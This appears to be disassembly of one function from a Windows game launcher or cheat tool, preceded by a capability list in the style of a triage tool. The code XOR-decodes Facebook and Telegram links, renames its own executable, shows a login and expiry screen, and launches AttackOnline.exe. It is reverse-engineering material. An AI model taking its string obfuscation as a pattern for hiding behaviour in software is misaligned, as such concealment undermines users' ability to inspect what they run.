Function at 0x48f3d0
Capabilities:
Create http request
Create process on windows
Encode data using xor
Enumerate processes
Execute command
Hide graphical window
Move file
Read data from internet
Receive data
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x648
mov eax, dword [0x67bbb0]
xor eax, esp
mov dword [esp + 0x644], eax
push esi
push edi
mov ecx, 0x682448
call fcn.0048c650
lea ecx, [esp + 0x158]
call fcn.0048f1e0
push str..exe
mov ecx, eax
call fcn.00492430
movups xmm0, xmmword [eax]
movups xmmword [esp + 0x170], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esp + 0x180], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov edx, dword [esp + 0x16c]
cmp edx, 0x10
jb 0x48f476
mov ecx, dword [esp + 0x158]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x48f46c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x48f46c
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.005ef4ad
add esp, 8
cmp dword [esp + 0x184], 0x10
lea eax, [esp + 0x248]
push 0x104
push eax
lea esi, [esp + 0x178]
cmovae esi, dword [esp + 0x178]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x248]
mov dword [esp + 0x40], 0
mov dword [esp + 0x44], 0xf
lea edx, [ecx + 1]
mov byte [esp + 0x30], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x48f4c1
sub ecx, edx
lea eax, [esp + 0x248]
push ecx
push eax
lea ecx, [esp + 0x38]
call fcn.004935f0
cmp dword [esp + 0x44], 0x10
lea eax, [esp + 0x30]
push esi
cmovae eax, dword [esp + 0x34]
push eax
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_rename]
mov edx, dword [esp + 0x4c]
add esp, 8
cmp edx, 0x10
jb 0x48f52d
mov ecx, dword [esp + 0x30]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x48f523
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x48f523
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.005ef4ad
add esp, 8
push 0
mov dword [esp + 0xbc], 0x30
mov dword [esp + 0xc0], 0x40
mov dword [esp + 0xc4], 0x4911f0
mov dword [esp + 0xc8], 0
mov dword [esp + 0xcc], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [esp + 0xcc], eax
xorps xmm0, xmm0
lea eax, [esp + 0xb8]
mov dword [esp + 0xe0], 0x667c74
push eax
movups xmmword [esp + 0xd4], xmm0
mov dword [esp + 0xe8], 0
call dword [sym.imp.USER32.dll_RegisterClassExA]
push 0
push dword [esp + 0xd0]
push 0
push 0
push 5
push 5
push 0
push 0
push connect
push 0x667c74
push dword [esp + 0x108]
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov esi, eax
push 0x20
mov dword [0x6823d0], esi
call dword [sym.imp.d3d9.dll_Direct3DCreate9]
mov ecx, eax
mov dword [0x6823cc], ecx
test ecx, ecx
je 0x49106e
push 0x68238c
push 0x682354
push 0x40
xorps xmm0, xmm0
mov dword [0x682368], 0
push esi
push 1
movlpd qword [0x682354], xmm0
movlpd qword [0x682360], xmm0
mov dword [0x682370], 0
movlpd qword [0x682380], xmm0
mov dword [0x682374], 1
mov dword [0x68236c], 1
mov dword [0x68235c], 0
mov dword [0x682378], 1
mov dword [0x68237c], 0x50
mov dword [0x682388], 1
mov eax, dword [ecx]
push 0
push ecx
call dword [eax + 0x40]
test eax, eax
js 0x491068
push 0
push dword [0x6823d0]
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [0x6823d0]
call dword [sym.imp.USER32.dll_UpdateWindow]
mov eax, dword [0x682310]
test eax, eax
je 0x48f6a3
inc dword [eax + 0x374]
push dword [0x682308]
push 0x3e70
call fcn.004491a0
add esp, 8
test eax, eax
je 0x48f6c6
push ecx
mov ecx, eax
call fcn.00447af0
mov ecx, eax
jmp 0x48f6c8
xor ecx, ecx
mov eax, dword [0x682310]
test eax, eax
cmove eax, ecx
mov dword [0x682310], eax
call fcn.0044e6f0
mov eax, dword [0x682310]
xor ecx, ecx
mov dword [esp + 0x70], eax
or dword [eax + 8], 0x400
mov dword [eax + 0x20], 0
call fcn.0046e7a0
test dword [eax + 8], 0x400
je 0x48f9bb
mov dword [eax + 0x15d8], 0x40800000
mov dword [eax + 0x1614], 0x40800000
movaps xmm0, xmmword [0x66e2d0]
movups xmmword [eax + 0x165c], xmm0
movaps xmm0, xmmword [0x66e2c0]
movups xmmword [eax + 0x166c], xmm0
movaps xmm0, xmmword [0x66df60]
movups xmmword [eax + 0x167c], xmm0
movaps xmm0, xmmword [0x66df60]
movups xmmword [eax + 0x168c], xmm0
movaps xmm0, xmmword [0x66df60]
movups xmmword [eax + 0x169c], xmm0
movaps xmm0, xmmword [0x66e270]
movups xmmword [eax + 0x16ac], xmm0
movaps xmm0, xmmword [0x66e270]
movups xmmword [eax + 0x16bc], xmm0
movaps xmm0, xmmword [0x66e270]
movups xmmword [eax + 0x16cc], xmm0
movaps xmm0, xmmword [0x66e260]
movups xmmword [eax + 0x16dc], xmm0
movaps xmm0, xmmword [0x66df70]
movups xmmword [eax + 0x16ec], xmm0
movaps xmm0, xmmword [0x66e270]
movups xmmword [eax + 0x16fc], xmm0
movaps xmm0, xmmword [0x66e270]
movups xmmword [eax + 0x170c], xmm0
movaps xmm0, xmmword [0x66e260]
movups xmmword [eax + 0x171c], xmm0
movaps xmm0, xmmword [0x66e270]
movups xmmword [eax + 0x172c], xmm0
movaps xmm0, xmmword [0x66e050]
movups xmmword [eax + 0x173c], xmm0
movaps xmm0, xmmword [0x66e270]
movups xmmword [eax + 0x174c], xmm0
movaps xmm0, xmmword [0x66e260]
movups xmmword [eax + 0x175c], xmm0
movaps xmm0, xmmword [0x66df70]
movups xmmword [eax + 0x176c], xmm0
movaps xmm0, xmmword [0x66df80]
movups xmmword [eax + 0x177c], xmm0
movaps xmm0, xmmword [0x66df50]
movups xmmword [eax + 0x178c], xmm0
movaps xmm0, xmmword [0x66e270]
movups xmmword [eax + 0x179c], xmm0
movaps xmm0, xmmword [0x66e270]
movups xmmword [eax + 0x17ac], xmm0
movaps xmm0, xmmword [0x66e260]
movups xmmword [eax + 0x17bc], xmm0
movaps xmm0, xmmword [0x66e260]
movups xmmword [eax + 0x17cc], xmm0
movaps xmm0, xmmword [0x66e270]
movups xmmword [eax + 0x17dc], xmm0
movaps xmm0, xmmword [0x66e260]
movups xmmword [eax + 0x17ec], xmm0
movaps xmm0, xmmword [0x66df70]
movups xmmword [eax + 0x17fc], xmm0
movaps xmm0, xmmword [0x66e270]
movups xmmword [eax + 0x180c], xmm0
movaps xmm0, xmmword [0x66e260]
movups xmmword [eax + 0x181c], xmm0
movaps xmm0, xmmword [0x66e260]
movups xmmword [eax + 0x182c], xmm0
movaps xmm0, xmmword [0x66e090]
movups xmmword [eax + 0x183c], xmm0
movaps xmm0, xmmword [0x66e120]
movups xmmword [eax + 0x184c], xmm0
movaps xmm0, xmmword [0x66e190]
movups xmmword [eax + 0x185c], xmm0
movaps xmm0, xmmword [0x66e270]
movups xmmword [eax + 0x186c], xmm0
movaps xmm0, xmmword [0x66e260]
movups xmmword [eax + 0x187c], xmm0
movaps xmm0, xmmword [0x66e260]
movups xmmword [eax + 0x188c], xmm0
movaps xmm0, xmmword [0x66e220]
movups xmmword [eax + 0x189c], xmm0
movaps xmm0, xmmword [0x66e220]
movups xmmword [eax + 0x18ac], xmm0
movaps xmm0, xmmword [0x66e310]
movups xmmword [eax + 0x18dc], xmm0
movaps xmm0, xmmword [0x66e2a0]
movups xmmword [eax + 0x18ec], xmm0
movaps xmm0, xmmword [0x66e1d0]
movups xmmword [eax + 0x18fc], xmm0
movaps xmm0, xmmword [0x66e1c0]
movups xmmword [eax + 0x190c], xmm0
movaps xmm0, xmmword [0x66e0c0]
movups xmmword [eax + 0x196c], xmm0
movaps xmm0, xmmword [0x66e160]
movups xmmword [eax + 0x197c], xmm0
movaps xmm0, xmmword [0x66e350]
movups xmmword [eax + 0x198c], xmm0
movaps xmm0, xmmword [0x66e130]
movups xmmword [eax + 0x199c], xmm0
movaps xmm0, xmmword [0x66e070]
movups xmmword [eax + 0x19ac], xmm0
movaps xmm0, xmmword [0x66e0b0]
movups xmmword [eax + 0x19bc], xmm0
call fcn.00477cb0
mov ecx, dword [0x68238c]
mov esi, dword [0x682310]
push ecx
mov dword [0x6825a4], ecx
or dword [esi + 0xc], 0x1008
mov dword [esi + 0xc8], str.imgui_impl_dx9
mov eax, dword [ecx]
call dword [eax + 4]
test dword [esi + 8], 0x400
je 0x48fa29
mov eax, dword [0x682310]
mov dword [eax + 0x156c], 0x477890
mov dword [eax + 0x1570], 0x477960
mov dword [eax + 0x1574], 0x4779c0
mov dword [eax + 0x1578], 0x477a10
mov dword [eax + 0x157c], 0x477b30
lea eax, [esp + 0x1e8]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
xorps xmm0, xmm0
mov dword [esp + 0x1a8], 0
movaps xmmword [esp + 0x190], xmm0
movq qword [esp + 0x1a0], xmm0
nop dword [eax]
push 1
push 0
push 0
push 0
lea eax, [esp + 0x1a0]
push eax
call dword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x48fa9b
lea eax, [esp + 0x190]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [esp + 0x190]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x4909a1
cmp dword [0x68259c], 0
jne 0x48faa9
call fcn.00477730
call fcn.004785c0
call fcn.0044d4e0
mov eax, dword [0x682310]
mov edx, 0x67bc58
push 0x12a
mov ecx, str._________________________Tool_MAT
or dword [eax + 0x1cd0], 0x43
mov dword [eax + 0x1ce4], 0x43480000
mov dword [eax + 0x1ce8], 0x43480000
mov dword [eax + 0x1cec], 0
mov dword [eax + 0x1cf0], 0
mov dword [eax + 0x1cd4], 2
mov byte [eax + 0x1d0c], 1
mov dword [eax + 0x1cf4], 0x43c80000
mov dword [eax + 0x1cf8], 0x43160000
mov dword [eax + 0x1cd8], 1
mov dword [eax + 0x1d28], 0x3f800000
call fcn.004539f0
mov esi, dword [0x682310]
add esp, 4
mov eax, dword [esi + 0x1c48]
mov byte [eax + 0xc5], 1
mov eax, dword [esi + 0x1c48]
mov eax, dword [eax + 0x1d0]
test eax, eax
je 0x48fb6b
cmp dword [eax + 0x10], 2
jne 0x48fb66
cmp dword [eax + 4], 0
je 0x48fb7b
call fcn.0047b530
push 0
call fcn.0047ac70
mov esi, dword [0x682310]
add esp, 4
movss xmm1, dword [0x66debc]
mov ecx, 1
call fcn.0047a890
cmp dword [0x6824a8], 0xde
je 0x490161
mov eax, dword [esi + 0x1c48]
mov byte [eax + 0xc5], 1
mov eax, dword [esi + 0x1c48]
cmp byte [eax + 0xc8], 0
jne 0x48fbda
movss xmm1, dword [0x66def0]
lea ecx, [esp + 0x74]
mov dword [esp + 0x74], 0
mov dword [esp + 0x78], 0
call fcn.00456b60
push ecx
lea edx, [esp + 0x80]
mov dword [esp + 0x80], 0x42c80000
mov ecx, str.Facebook
mov dword [esp + 0x84], 0x42200000
call fcn.0047ca30
add esp, 4
test al, al
je 0x48fe83
mov eax, dword fs:[0x2c]
mov ecx, dword [eax]
mov eax, dword [0x682628]
cmp eax, dword [ecx + 4]
jle 0x48fc7d
push 0x682628
call fcn.005ef03e
add esp, 4
cmp dword [0x682628], 0xffffffff
jne 0x48fc7d
push 0x3a
push 0
push 0x682650
call sub.VCRUNTIME140.dll_memset
mov ecx, str.https:__web.facebook.com_people_Free_Time_61559833569393_
mov esi, 0x682650
add esp, 0xc
mov edx, 0x3a
sub esi, ecx
nop word [eax + eax]
mov al, byte [ecx]
lea ecx, [ecx + 1]
xor al, 0x5c
mov byte [esi + ecx - 1], al
sub edx, 1
jne 0x48fc60
push 0x682628
call fcn.005eeff4
add esp, 4
xor ecx, ecx
mov eax, 0x682650
mov edx, 0x682689
mov dword [esp + 0x100], ecx
xor edi, edi
mov byte [esp + 0xf0], cl
cmp edx, eax
mov dword [esp + 0xb4], eax
mov esi, 0xf
sbb edx, edx
mov dword [esp + 0x104], esi
and edx, 0xffffffc7
add edx, 0x39
mov dword [esp + 0xe8], edx
nop dword [eax]
mov dl, byte [eax]
xor dl, 0x5c
cmp ecx, esi
jae 0x48fcef
lea eax, [ecx + 1]
cmp esi, 0x10
mov dword [esp + 0x100], eax
lea eax, [esp + 0xf0]
cmovae eax, dword [esp + 0xf0]
mov byte [eax + ecx], dl
mov byte [eax + ecx + 1], 0
jmp 0x48fd06
push edx
mov byte [esp + 0x70], 0
push dword [esp + 0x70]
push ecx
lea ecx, [esp + 0xfc]
call fcn.00479b10
mov eax, dword [esp + 0xb4]
inc edi
inc eax
mov dword [esp + 0xb4], eax
cmp edi, dword [esp + 0xe8]
je 0x48fd2f
mov esi, dword [esp + 0x104]
mov ecx, dword [esp + 0x100]
jmp 0x48fcc0
mov edx, dword fs:[0x2c]
lea edi, [esp + 0xf0]
cmp dword [esp + 0x104], 0x10
mov eax, dword [0x68262c]
cmovae edi, dword [esp + 0xf0]
mov ecx, dword [edx]
cmp eax, dword [ecx + 4]
jle 0x48fdb1
push 0x68262c
call fcn.005ef03e
add esp, 4
cmp dword [0x68262c], 0xffffffff
jne 0x48fdb1
mov ecx, str.open
mov dword [0x682648], 0
mov esi, 0x682648
mov byte [0x68264c], 0
sub esi, ecx
mov edx, 5
mov al, byte [ecx]
lea ecx, [ecx + 1]
xor al, 0x63
mov byte [esi + ecx - 1], al
sub edx, 1
jne 0x48fd94
push 0x68262c
call fcn.005eeff4
add esp, 4
lea eax, [esp + 0x18]
mov ecx, 0x682648
push eax
call fcn.00491120
cmp dword [esp + 0x2c], 0x10
lea eax, [esp + 0x18]
push 0xa
cmovae eax, dword [esp + 0x1c]
push 0
push 0
push edi
push eax
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov edx, dword [esp + 0x2c]
cmp edx, 0x10
jb 0x48fe14
mov ecx, dword [esp + 0x18]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x48fe0a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x48f466
push edx
push ecx
call fcn.005ef4ad
add esp, 8
mov edx, dword [esp + 0x104]
mov dword [esp + 0x28], 0
mov dword [esp + 0x2c], 0xf
mov byte [esp + 0x18], 0
cmp edx, 0x10
jb 0x48fe65
mov ecx, dword [esp + 0xf0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x48fe5b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x48f466
push edx
push ecx
call fcn.005ef4ad
add esp, 8
mov dword [esp + 0x100], 0
mov dword [esp + 0x104], 0xf
mov byte [esp + 0xf0], 0
mov ecx, dword [0x682310]
mov eax, dword [ecx + 0x1c48]
mov byte [eax + 0xc5], 1
mov eax, dword [ecx + 0x1c48]
cmp byte [eax + 0xc8], 0
jne 0x48fecf
movss xmm1, dword [0x66def0]
lea ecx, [esp + 0x84]
mov dword [esp + 0x84], 0
mov dword [esp + 0x88], 0
call fcn.00456b60
push ecx
lea edx, [esp + 0x90]
mov dword [esp + 0x90], 0x42c80000
mov ecx, str.Telegram
mov dword [esp + 0x94], 0x42200000
call fcn.0047ca30
add esp, 4
test al, al
je 0x490161
mov eax, dword fs:[0x2c]
mov ecx, dword [eax]
mov eax, dword [0x682630]
cmp eax, dword [ecx + 4]
jle 0x48ff74
push 0x682630
call fcn.005ef03e
add esp, 4
cmp dword [0x682630], 0xffffffff
jne 0x48ff74
xorps xmm0, xmm0
mov byte [0x682624], 0
mov ecx, str.https:__t.me_FreeTime168
movq qword [0x68261c], xmm0
mov esi, 0x68260c
mov edx, 0x19
movups xmmword [0x68260c], xmm0
sub esi, ecx
mov al, byte [ecx]
lea ecx, [ecx + 1]
xor al, 0x7f
mov byte [ecx + esi - 1], al
sub edx, 1
jne 0x48ff57
push 0x682630
call fcn.005eeff4
add esp, 4
xor ecx, ecx
mov eax, 0x68260c
mov edx, 0x682624
mov dword [esp + 0x100], ecx
xor edi, edi
mov byte [esp + 0xf0], cl
cmp edx, eax
mov dword [esp + 0xb4], eax
mov esi, 0xf
sbb edx, edx
mov dword [esp + 0x104], esi
and edx, 0xffffffe8
add edx, 0x18
mov dword [esp + 0xe8], edx
mov dl, byte [eax]
xor dl, 0x7f
cmp ecx, esi
jae 0x48ffe3
lea eax, [ecx + 1]
cmp esi, 0x10
mov dword [esp + 0x100], eax
lea eax, [esp + 0xf0]
cmovae eax, dword [esp + 0xf0]
mov byte [eax + ecx], dl
mov byte [eax + ecx + 1], 0
jmp 0x490000
push edx
mov byte [esp + 0xf0], 0
push dword [esp + 0xf0]
push ecx
lea ecx, [esp + 0xfc]
call fcn.00479b10
mov eax, dword [esp + 0xb4]
inc edi
inc eax
mov dword [esp + 0xb4], eax
cmp edi, dword [esp + 0xe8]
je 0x490029
mov esi, dword [esp + 0x104]
mov ecx, dword [esp + 0x100]
jmp 0x48ffb4
mov edx, dword fs:[0x2c]
lea edi, [esp + 0xf0]
cmp dword [esp + 0x104], 0x10
mov eax, dword [0x682644]
cmovae edi, dword [esp + 0xf0]
mov ecx, dword [edx]
cmp eax, dword [ecx + 4]
jle 0x4900ad
push 0x682644
call fcn.005ef03e
add esp, 4
cmp dword [0x682644], 0xffffffff
jne 0x4900ad
mov ecx, str.open
mov dword [0x682690], 0
mov esi, 0x682690
mov byte [0x682694], 0
sub esi, ecx
mov edx, 5
nop
mov al, byte [ecx]
lea ecx, [ecx + 1]
xor al, 0x63
mov byte [ecx + esi - 1], al
sub edx, 1
jne 0x490090
push 0x682644
call fcn.005eeff4
add esp, 4
lea eax, [esp + 0x18]
mov ecx, 0x682690
push eax
call fcn.00491120
cmp dword [esp + 0x2c], 0x10
lea eax, [esp + 0x18]
push 0xa
cmovae eax, dword [esp + 0x1c]
push 0
push 0
push edi
push eax
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov edx, dword [esp + 0x2c]
cmp edx, 0x10
jb 0x490110
mov ecx, dword [esp + 0x18]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x490106
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x48f466
push edx
push ecx
call fcn.005ef4ad
add esp, 8
mov edx, dword [esp + 0x104]
mov dword [esp + 0x28], 0
mov dword [esp + 0x2c], 0xf
mov byte [esp + 0x18], 0
cmp edx, 0x10
jb 0x490161
mov ecx, dword [esp + 0xf0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x490157
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x48f466
push edx
push ecx
call fcn.005ef4ad
add esp, 8
mov al, byte [0x6825ad]
test al, al
jne 0x490330
call fcn.0047b290
push str.Username_:
call fcn.0047c0d0
add esp, 4
mov dword [esp + 8], 0xe1c4b3ac
mov dword [esp + 0xc], 0x100e6f6
xor ecx, ecx
mov al, cl
sub al, 0x71
xor byte [esp + ecx + 8], al
inc ecx
cmp ecx, 6
jb 0x490192
sub esp, 8
mov byte [esp + 0x17], 0
lea eax, [esp + 0x9c]
mov dword [esp + 0x9c], 0
mov dword [esp + 0xa0], 0
push 0
push eax
push ecx
push 0x682318
lea ecx, [esp + 0x20]
call fcn.00480410
push str.Password_:
call fcn.0047c0d0
add esp, 0x1c
mov dword [esp + 0x10], 0xf3c1b3ac
mov dword [esp + 0x14], 0x100e7e0
xor ecx, ecx
mov al, cl
sub al, 0x71
xor byte [esp + ecx + 0x10], al
inc ecx
cmp ecx, 6
jb 0x4901f6
sub esp, 8
mov byte [esp + 0x1f], 0
lea eax, [esp + 0xa4]
mov dword [esp + 0xa4], 0
mov dword [esp + 0xa8], 0
push 0x8000
push eax
push ecx
push 0x682390
lea ecx, [esp + 0x28]
call fcn.00480410
add esp, 0x18
mov dword [esp + 0xa4], 0
mov dword [esp + 0xa8], 0
xor ecx, ecx
mov dword [esp + 0x5c], 0xf4ffffcc
mov dword [esp + 0x60], 0xbbf8e6fa
mov dword [esp + 0x64], 0xf3fef7db
mov word [esp + 0x68], 0xf5
mov byte [esp + 0x6a], 1
nop dword [eax]
mov al, cl
sub al, 0x71
xor byte [esp + ecx + 0x5c], al
inc ecx
cmp ecx, 0xd
jb 0x490280
push ecx
lea edx, [esp + 0xa8]
mov byte [esp + 0x6e], 0
lea ecx, [esp + 0x60]
call fcn.0047ca30
add esp, 4
test al, al
je 0x490805
sub esp, 0x18
mov ecx, 0x682390
mov edx, esp
lea esi, [ecx + 1]
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4902d0
sub ecx, esi
push ecx
push 0x682390
mov ecx, edx
call fcn.004935f0
sub esp, 0x18
mov ecx, 0x682318
mov edx, esp
lea esi, [ecx + 1]
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x490304
sub ecx, esi
push ecx
push 0x682318
mov ecx, edx
call fcn.004935f0
mov ecx, 0x682448
call fcn.0048d4d0
mov byte [0x6825ad], 1
jmp 0x490805
cmp al, 1
jne 0x490805
call fcn.0047b290
push 0x6824ac
lea ecx, [esp + 0x15c]
call fcn.00492640
cmp dword [esp + 0x16c], 0x10
lea edi, [esp + 0x158]
push 0x682530
cmovae edi, dword [esp + 0x15c]
lea ecx, [esp + 0x1c]
call fcn.00492640
cmp dword [esp + 0x2c], 0x10
lea eax, [esp + 0x18]
push 0xa
cmovae eax, dword [esp + 0x1c]
push 0
push eax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
mov esi, dword [esp + 0x38]
add esp, 0xc
cdq
mov dword [esp + 0xe8], eax
mov ecx, edx
mov dword [esp + 0xb4], ecx
cmp esi, 0x10
jb 0x4903e4
mov ecx, dword [esp + 0x18]
inc esi
mov eax, ecx
cmp esi, 0x1000
jb 0x4903cc
mov ecx, dword [ecx - 4]
add esi, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x48f466
push esi
push ecx
call fcn.005ef4ad
mov eax, dword [esp + 0xf0]
add esp, 8
mov ecx, dword [esp + 0xb4]
mov dword [esp + 0x138], eax
lea eax, [esp + 0x138]
push eax
lea eax, [esp + 0xf4]
mov dword [esp + 0x2c], 0
push eax
mov dword [esp + 0x34], 0xf
mov byte [esp + 0x20], 0
mov dword [esp + 0x144], ecx
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
mov eax, dword [esp + 0x118]
movaps xmm0, xmmword [esp + 0xf8]
mov dword [esp + 0x1d8], eax
lea eax, [esp + 0x1b8]
push eax
push str.__m__d__y
movaps xmmword [esp + 0x1c0], xmm0
lea eax, [esp + 0x208]
movaps xmm0, xmmword [esp + 0x110]
push 0x50
push eax
movaps xmmword [esp + 0x1d8], xmm0
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
lea ecx, [esp + 0x210]
mov dword [esp + 0x168], 0
add esp, 0x18
mov dword [esp + 0x154], 0xf
mov byte [esp + 0x140], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x490493
sub ecx, edx
lea eax, [esp + 0x1f8]
push ecx
push eax
lea ecx, [esp + 0x148]
call fcn.004935f0
cmp dword [esp + 0x154], 0x10
lea eax, [esp + 0xf0]
movaps xmm0, xmmword [0x66e1b0]
lea esi, [esp + 0x140]
cmovae esi, dword [esp + 0x140]
push str.Username_:
push eax
movups xmmword [esp + 0xf8], xmm0
call fcn.0047c150
movss xmm1, dword [0x66def0]
xorps xmm0, xmm0
call fcn.00457010
push edi
call fcn.0047c0d0
movaps xmm0, xmmword [0x66e1e0]
lea eax, [esp + 0xfc]
add esp, 0xc
movups xmmword [esp + 0xf0], xmm0
push str.Expired_:
push eax
call fcn.0047c150
movss xmm1, dword [0x66def0]
xorps xmm0, xmm0
call fcn.00457010
push esi
call fcn.0047c0d0
add esp, 0xc
push str.
call fcn.0047c0d0
movaps xmm0, xmmword [0x66e1f0]
lea eax, [esp + 0xf4]
add esp, 4
movups xmmword [esp + 0xf0], xmm0
push str.Start_Game_And_Start_Menu
push eax
call fcn.0047c150
mov eax, dword [0x66c1c0]
xor edx, edx
movups xmm0, xmmword [str.uFT_RJXN]
mov ecx, dword [0x682310]
add esp, 8
cmp dword [0x6822ac], 2
mov dword [esp + 0x40], eax
mov al, byte [0x66c1c4]
movups xmmword [esp + 0x30], xmm0
mov byte [esp + 0x44], al
mov dword [esp + 0xb4], edx
jl 0x4906f0
movaps xmm0, xmmword [str.3333333333333333]
mov eax, 4
movaps xmm4, xmmword [0x66dfb0]
movaps xmm3, xmmword [0x66e390]
movaps xmm6, xmmword [0x66dfd0]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [esp + 0xf0], xmm0
mov esi, dword [esp + 0xf0]
movd xmm7, eax
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x66e030]
packuswb xmm1, xmm1
movd xmm0, esi
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x30]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [esp + edx + 0x30], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x66e030]
packuswb xmm1, xmm1
movd xmm0, esi
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x34]
pxor xmm1, xmm0
movd dword [esp + edx + 0x34], xmm1
add edx, 8
cmp edx, 0x10
jl 0x4905e4
mov dword [esp + 0xb4], edx
cmp edx, 0x15
jge 0x49072d
nop word [eax + eax]
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dl, byte [esp + 0xb4]
movsx eax, al
imul eax, eax, 0x34
sub dl, al
mov eax, dword [esp + 0xb4]
add dl, 0x33
xor byte [esp + eax + 0x30], dl
mov edx, eax
inc edx
mov dword [esp + 0xb4], edx
cmp edx, 0x15
jl 0x4906f0
movaps xmm0, xmmword [0x66e370]
lea eax, [esp + 0x30]
movups xmmword [esp + 0xf0], xmm0
sub esp, 8
movss xmm0, dword [ecx + 0x360]
cvtps2pd xmm0, xmm0
movsd qword [esp], xmm0
push eax
lea eax, [esp + 0xfc]
push eax
call fcn.0047c150
add esp, 0xc
mov dword [esp + 0xb0], 0x42c80000
lea edx, [esp + 0xb0]
mov dword [esp + 0xb4], 0x41c80000
mov ecx, str.Start_Games
call fcn.0047ca30
add esp, 4
test al, al
je 0x4907aa
push 9
push 0
push 0
push str.AttackOnline.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
movss xmm1, dword [0x66def4]
xorps xmm0, xmm0
call fcn.00457010
push ecx
lea edx, [esp + 0x130]
mov dword [esp + 0x130], 0x42c80000
mov ecx, str.Start_Menu
mov dword [esp + 0x134], 0x41c80000
call fcn.0047ca30
add esp, 4
test al, al
jne 0x4909b4
lea ecx, [esp + 0x140]
call fcn.004799b0
lea ecx, [esp + 0x158]
call fcn.004799b0
call fcn.00455fb0
call fcn.0044fb20
mov eax, dword [0x68238c]
push 0
mov ecx, dword [eax]
push ecx
mov dword [esp], 0x3f800000
push 0
push 3
push 0
push 0
push eax
call dword [ecx + 0xac]
mov eax, dword [0x68238c]
push eax
mov ecx, dword [eax]
call dword [ecx + 0xa4]
test eax, eax
js 0x490870
call fcn.0044ff40
mov eax, dword [0x682310]
mov eax, dword [eax + 0x1dd8]
mov ecx, dword [eax]
xor eax, eax
sub ecx, 0xffffff80
cmp byte [ecx], al
cmove ecx, eax
call fcn.00477000
mov eax, dword [0x68238c]
push eax
mov ecx, dword [eax]
call dword [ecx + 0xa8]
mov eax, dword [esp + 0x70]
test dword [eax + 8], 0x400
je 0x49094d
call fcn.0045e580
mov esi, dword [0x682310]
mov edi, 1
